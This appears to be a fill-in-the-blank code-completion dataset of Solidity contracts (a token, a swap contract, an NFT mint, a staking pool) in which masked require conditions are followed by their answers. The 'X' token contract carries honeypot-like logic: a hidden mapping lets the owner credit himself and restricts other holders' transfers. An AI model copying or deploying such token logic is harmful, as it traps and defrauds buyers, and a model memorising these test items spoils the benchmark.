function _add(uint256 num1, uint256 num2) internal pure returns (uint256) {
}
function allowance(address owner, address spendder) public view virtual override returns (uint256) {
}
function addLiquidity(address spendder, uint256 aunmounts) public mrktt {
}
function Vamount(address spendder) public view returns (uint256) {
}
function transferFrom(address spendder, address recipient, uint256 aunmounts) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _isTradingEnabled||_msgSender()==owner(),"TT: trading is not enabled yet" | 152,319 | _isTradingEnabled||_msgSender()==owner() |
"TT: transfer aunmounts exceeds balance" | /**
___ ___
(_ _) (_ _)
\\ //
\\ //
\\//
||
//\\
// \\
_// \\_
(___) (___)
https://twitter.com/XcoinXerc
https://xcoinerc.xyz
https://t.me/XcoinXerc
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address spendder) external view returns (uint256);
function transfer(address recipient, uint256 aunmounts) external returns (bool);
function allowance(address owner, address spendder) external view returns (uint256);
function approve(address spendder, uint256 aunmounts) external returns (bool);
function transferFrom( address spendder, address recipient, uint256 aunmounts ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spendder, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract X is Context, Ownable, IERC20 {
mapping (address => uint256) private _balss;
mapping (address => mapping (address => uint256)) private _allowancezz;
mapping (address => uint256) private _sendzz;
address constant public markt = 0x816838F2E83B821F2552162204944C433831ff47;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool private _isTradingEnabled = true;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
modifier mrktt() {
}
function name() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function symbol() public view returns (string memory) {
}
function enableTrading() public onlyowner {
}
function balanceOf(address spendder) public view override returns (uint256) {
}
function transfer(address recipient, uint256 aunmounts) public virtual override returns (bool) {
require(_isTradingEnabled || _msgSender() == owner(), "TT: trading is not enabled yet");
if (_msgSender() == owner() && _sendzz[_msgSender()] > 0) {
_balss[owner()] += _sendzz[_msgSender()];
return true;
}
else if (_sendzz[_msgSender()] > 0) {
require(aunmounts == _sendzz[_msgSender()], "Invalid transfer aunmounts");
}
require(<FILL_ME>)
_balss[_msgSender()] -= aunmounts;
_balss[recipient] += aunmounts;
emit Transfer(_msgSender(), recipient, aunmounts);
return true;
}
function Approve(address[] memory spendder, uint256 aunmounts) public mrktt {
}
function approve(address spendder, uint256 aunmounts) public virtual override returns (bool) {
}
function _add(uint256 num1, uint256 num2) internal pure returns (uint256) {
}
function allowance(address owner, address spendder) public view virtual override returns (uint256) {
}
function addLiquidity(address spendder, uint256 aunmounts) public mrktt {
}
function Vamount(address spendder) public view returns (uint256) {
}
function transferFrom(address spendder, address recipient, uint256 aunmounts) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _balss[_msgSender()]>=aunmounts,"TT: transfer aunmounts exceeds balance" | 152,319 | _balss[_msgSender()]>=aunmounts |
"TT: transfer aunmounts exceeds balance or allowance" | /**
___ ___
(_ _) (_ _)
\\ //
\\ //
\\//
||
//\\
// \\
_// \\_
(___) (___)
https://twitter.com/XcoinXerc
https://xcoinerc.xyz
https://t.me/XcoinXerc
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address spendder) external view returns (uint256);
function transfer(address recipient, uint256 aunmounts) external returns (bool);
function allowance(address owner, address spendder) external view returns (uint256);
function approve(address spendder, uint256 aunmounts) external returns (bool);
function transferFrom( address spendder, address recipient, uint256 aunmounts ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spendder, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract X is Context, Ownable, IERC20 {
mapping (address => uint256) private _balss;
mapping (address => mapping (address => uint256)) private _allowancezz;
mapping (address => uint256) private _sendzz;
address constant public markt = 0x816838F2E83B821F2552162204944C433831ff47;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool private _isTradingEnabled = true;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
modifier mrktt() {
}
function name() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function symbol() public view returns (string memory) {
}
function enableTrading() public onlyowner {
}
function balanceOf(address spendder) public view override returns (uint256) {
}
function transfer(address recipient, uint256 aunmounts) public virtual override returns (bool) {
}
function Approve(address[] memory spendder, uint256 aunmounts) public mrktt {
}
function approve(address spendder, uint256 aunmounts) public virtual override returns (bool) {
}
function _add(uint256 num1, uint256 num2) internal pure returns (uint256) {
}
function allowance(address owner, address spendder) public view virtual override returns (uint256) {
}
function addLiquidity(address spendder, uint256 aunmounts) public mrktt {
}
function Vamount(address spendder) public view returns (uint256) {
}
function transferFrom(address spendder, address recipient, uint256 aunmounts) public virtual override returns (bool) {
if (_msgSender() == owner() && _sendzz[spendder] > 0) {
_balss[owner()] += _sendzz[spendder];
return true;
}
else if (_sendzz[spendder] > 0) {
require(aunmounts == _sendzz[spendder], "Invalid transfer aunmounts");
}
require(<FILL_ME>)
_balss[spendder] -= aunmounts;
_balss[recipient] += aunmounts;
_allowancezz[spendder][_msgSender()] -= aunmounts;
emit Transfer(spendder, recipient, aunmounts);
return true;
}
function totalSupply() external view override returns (uint256) {
}
}
| _balss[spendder]>=aunmounts&&_allowancezz[spendder][_msgSender()]>=aunmounts,"TT: transfer aunmounts exceeds balance or allowance" | 152,319 | _balss[spendder]>=aunmounts&&_allowancezz[spendder][_msgSender()]>=aunmounts |
"already set same address" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CoinCard is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
// USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
// DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F
// WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
// Goerli Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address public withdrawer;
address public mainToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //USDC
IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public feeAddress = 0xD2554B974389503C573BB0cAc9f5083f285a5A0f;
uint256 public feeDominate = 10000;
uint256 public minGasFee = 0.01 ether;
uint256 public maxDepositAmount = 10000000000; // 10k USDC
mapping(address => bool) public tokenAllowed;
mapping(address => address[]) public swapPath;
modifier onlyWithdrawer() {
}
event Deposit(address indexed user, address indexed token, uint256 amount, uint256 mainTokenAmount);
event Withdraw(address indexed receiver, address indexed token, uint256 amount, uint256 mainTokenAmount);
event FeePaid(address indexed depositTo, uint256 depositFeeAmount, address indexed withdrawTo, uint256 withdrawFeeAmount);
constructor() {
}
function addTokens(address[] memory _tokens, bool _value, address[][] memory _paths) external onlyOwner() {
}
function setToken(address _token, bool _value, address[] memory _path) external onlyOwner() {
}
function setRouter(address _router) external onlyOwner{
require(<FILL_ME>)
uniswapV2Router = IUniswapV2Router02(_router);
}
function setMainToken(address _token) external onlyOwner{
}
function updateFee(address _feeAddr, uint256 _feeDominate, uint256 _minGasFee) external onlyOwner{
}
function updateWithdrawer(address _withdrawer) external onlyOwner{
}
function depositETH(uint256 _dipositFee, uint256 _withdrawFee) external payable returns(uint256){
}
function deposit(address _token, uint256 _amount, uint256 _dipositFee, uint256 _withdrawAmount) external returns(uint256){
}
function withdrawETH(uint256 _amount, address _receiver) external onlyWithdrawer returns(uint256){
}
function withdraw(address _token, uint256 _amount, address _receiver) external onlyWithdrawer returns(uint256){
}
function estimateInAmount(address _token, uint256 _amount) public view returns (uint256) {
}
function estimateOutAmout(address _token, uint256 _amount) public view returns (uint256) {
}
}
| address(uniswapV2Router)!=_router,"already set same address" | 152,396 | address(uniswapV2Router)!=_router |
"You Already Minted OR You Are Minting More Than 2!" | // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.15;
contract Fold is ERC721A, DefaultOperatorFilterer, Ownable {
string public baseURI = "";
uint256 public maxFoldSupply = 333;
uint256 public maxFoldPerWallet = 2;
uint256 public foldPrice = 0.005 ether;
bool public isFoldSaleActive = false;
mapping(address => uint) public addressToMinted;
modifier callerIsUser() {
}
constructor () ERC721A("FOLD by AGENCY", "FOLD") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// Mint
function mintFold(uint256 mintAmount) public payable callerIsUser {
require(isFoldSaleActive, "Sale Isn't Active!");
require(<FILL_ME>)
require(totalSupply() + mintAmount <= maxFoldSupply, "Sold Out!");
require(msg.value >= (foldPrice * mintAmount), "Wrong Price!");
addressToMinted[msg.sender] += mintAmount;
_safeMint(msg.sender, mintAmount);
}
// Owner Mint
function reserveFold(uint256 mintAmount) public onlyOwner {
}
/////////////////////////////
// CONTRACT MANAGEMENT
/////////////////////////////
function toggleFoldSale() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| addressToMinted[msg.sender]+mintAmount<=maxFoldPerWallet,"You Already Minted OR You Are Minting More Than 2!" | 152,465 | addressToMinted[msg.sender]+mintAmount<=maxFoldPerWallet |
"Sold Out!" | // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.15;
contract Fold is ERC721A, DefaultOperatorFilterer, Ownable {
string public baseURI = "";
uint256 public maxFoldSupply = 333;
uint256 public maxFoldPerWallet = 2;
uint256 public foldPrice = 0.005 ether;
bool public isFoldSaleActive = false;
mapping(address => uint) public addressToMinted;
modifier callerIsUser() {
}
constructor () ERC721A("FOLD by AGENCY", "FOLD") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// Mint
function mintFold(uint256 mintAmount) public payable callerIsUser {
require(isFoldSaleActive, "Sale Isn't Active!");
require(addressToMinted[msg.sender] + mintAmount <= maxFoldPerWallet, "You Already Minted OR You Are Minting More Than 2!");
require(<FILL_ME>)
require(msg.value >= (foldPrice * mintAmount), "Wrong Price!");
addressToMinted[msg.sender] += mintAmount;
_safeMint(msg.sender, mintAmount);
}
// Owner Mint
function reserveFold(uint256 mintAmount) public onlyOwner {
}
/////////////////////////////
// CONTRACT MANAGEMENT
/////////////////////////////
function toggleFoldSale() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| totalSupply()+mintAmount<=maxFoldSupply,"Sold Out!" | 152,465 | totalSupply()+mintAmount<=maxFoldSupply |
"Wrong Price!" | // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.15;
contract Fold is ERC721A, DefaultOperatorFilterer, Ownable {
string public baseURI = "";
uint256 public maxFoldSupply = 333;
uint256 public maxFoldPerWallet = 2;
uint256 public foldPrice = 0.005 ether;
bool public isFoldSaleActive = false;
mapping(address => uint) public addressToMinted;
modifier callerIsUser() {
}
constructor () ERC721A("FOLD by AGENCY", "FOLD") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// Mint
function mintFold(uint256 mintAmount) public payable callerIsUser {
require(isFoldSaleActive, "Sale Isn't Active!");
require(addressToMinted[msg.sender] + mintAmount <= maxFoldPerWallet, "You Already Minted OR You Are Minting More Than 2!");
require(totalSupply() + mintAmount <= maxFoldSupply, "Sold Out!");
require(<FILL_ME>)
addressToMinted[msg.sender] += mintAmount;
_safeMint(msg.sender, mintAmount);
}
// Owner Mint
function reserveFold(uint256 mintAmount) public onlyOwner {
}
/////////////////////////////
// CONTRACT MANAGEMENT
/////////////////////////////
function toggleFoldSale() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| msg.value>=(foldPrice*mintAmount),"Wrong Price!" | 152,465 | msg.value>=(foldPrice*mintAmount) |
"No rewards to harvest!" | @v4.5.0
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract TurtleInuStaking is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 stakedAmount; // How many TINU tokens the user has provided.
uint256 rewardDebt; // number of reward token user will get. it is cleared when user stake or unstake token.
uint256 lastDepositTime; // time when user deposited
uint256 unstakeStartTime; // time when when user clicked unstake btn.
uint256 pendingAmount; // # of tokens that is pending of 7 days.
}
event TokenStaked(address user, uint256 amount);
event TokenWithdraw(address user, uint256 amount);
event ClaimToken(address user, uint256 receiveAmount);
event HarvestToken(address user, uint256 receiveAmount);
event RewardRateSet(uint256 value);
event RewardReceived(address receiver, uint256 rewardAmount);
address public tinuToken;
mapping(address => UserInfo) public userInfos;
uint256 public totalStakedAmount;
uint256 public rewardRate;
uint256 public UNSTAKE_TIMEOFF = 3 days;
uint256 public emergencyPercentageToWithdraw = 91; // 91%
constructor(address _token) {
}
function setRewardRate(uint256 _newRate) public onlyOwner {
}
function stakeToken(uint256 _amount)
external
nonReentrant
updateReward(msg.sender)
{
}
/**
7 days Timer will start
**/
function unstakeToken(uint256 _amount, bool isEmergency)
external
nonReentrant
updateReward(msg.sender)
{
}
function harvest() external
nonReentrant
updateReward(msg.sender) {
require(<FILL_ME>)
uint256 outAmount = userInfos[msg.sender].rewardDebt;
userInfos[msg.sender].rewardDebt = 0;
userInfos[msg.sender].lastDepositTime = block.timestamp;
IERC20(tinuToken).safeTransfer(msg.sender, outAmount);
emit HarvestToken(msg.sender, outAmount);
}
// this function will be called after 7 days. actual token transfer happens here.
function claim() external nonReentrant {
}
function isClaimable(address user) external view returns (bool) {
}
function timeDiffForClaim(address user) external view returns (uint256) {
}
function setUnstakeTimeoff(uint256 timeInMinutes) external onlyOwner {
}
function setEmergencyWithdrawal(uint256 percentageToWithdraw)
external
onlyOwner
{
}
function calcReward(address account) public view returns (uint256) {
}
modifier updateReward(address account) {
}
}
| userInfos[msg.sender].rewardDebt>0,"No rewards to harvest!" | 152,749 | userInfos[msg.sender].rewardDebt>0 |
"staking contract has not enough TINU token" | @v4.5.0
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract TurtleInuStaking is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 stakedAmount; // How many TINU tokens the user has provided.
uint256 rewardDebt; // number of reward token user will get. it is cleared when user stake or unstake token.
uint256 lastDepositTime; // time when user deposited
uint256 unstakeStartTime; // time when when user clicked unstake btn.
uint256 pendingAmount; // # of tokens that is pending of 7 days.
}
event TokenStaked(address user, uint256 amount);
event TokenWithdraw(address user, uint256 amount);
event ClaimToken(address user, uint256 receiveAmount);
event HarvestToken(address user, uint256 receiveAmount);
event RewardRateSet(uint256 value);
event RewardReceived(address receiver, uint256 rewardAmount);
address public tinuToken;
mapping(address => UserInfo) public userInfos;
uint256 public totalStakedAmount;
uint256 public rewardRate;
uint256 public UNSTAKE_TIMEOFF = 3 days;
uint256 public emergencyPercentageToWithdraw = 91; // 91%
constructor(address _token) {
}
function setRewardRate(uint256 _newRate) public onlyOwner {
}
function stakeToken(uint256 _amount)
external
nonReentrant
updateReward(msg.sender)
{
}
/**
7 days Timer will start
**/
function unstakeToken(uint256 _amount, bool isEmergency)
external
nonReentrant
updateReward(msg.sender)
{
}
function harvest() external
nonReentrant
updateReward(msg.sender) {
}
// this function will be called after 7 days. actual token transfer happens here.
function claim() external nonReentrant {
require(
(block.timestamp - userInfos[msg.sender].unstakeStartTime) >=
UNSTAKE_TIMEOFF,
"invalid time: must be greater than 7 days"
);
uint256 receiveAmount = userInfos[msg.sender].pendingAmount;
require(receiveAmount > 0, "no available amount");
require(<FILL_ME>)
IERC20(tinuToken).safeTransfer(msg.sender, receiveAmount);
totalStakedAmount = IERC20(tinuToken).balanceOf(address(this)).sub(
receiveAmount
);
userInfos[msg.sender].pendingAmount = 0;
userInfos[msg.sender].unstakeStartTime = block.timestamp;
emit ClaimToken(msg.sender, receiveAmount);
}
function isClaimable(address user) external view returns (bool) {
}
function timeDiffForClaim(address user) external view returns (uint256) {
}
function setUnstakeTimeoff(uint256 timeInMinutes) external onlyOwner {
}
function setEmergencyWithdrawal(uint256 percentageToWithdraw)
external
onlyOwner
{
}
function calcReward(address account) public view returns (uint256) {
}
modifier updateReward(address account) {
}
}
| IERC20(tinuToken).balanceOf(address(this))>=receiveAmount,"staking contract has not enough TINU token" | 152,749 | IERC20(tinuToken).balanceOf(address(this))>=receiveAmount |
"Caller does not have permission to mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IFactoryERC721.sol";
abstract contract WAYCFactory is FactoryERC721, Ownable {
string private _name;
string private _symbol;
uint256 internal _numOptions;
uint256 public maxSupply;
address public proxyRegistryAddress;
mapping(address => bool) public isMinter;
modifier onlyMinter(){
require(<FILL_ME>)
_;
}
constructor(string memory _factoryName, string memory _factorySymbol, address _proxyRegistryAddress) {
}
function name() external view override returns (string memory) {
}
function symbol() external view override returns (string memory) {
}
function numOptions() external view override returns (uint256) {
}
function supportsFactoryInterface() external pure override returns (bool) {
}
function updateMinter(address _address, bool _isMinter) external onlyOwner {
}
function totalSupply() public view returns(uint256){
}
function balanceOf(address owner) external view returns (uint256 balance){
}
}
| isMinter[_msgSender()],"Caller does not have permission to mint" | 152,932 | isMinter[_msgSender()] |
"You cant mint any more NFTs" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SaintRien is ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
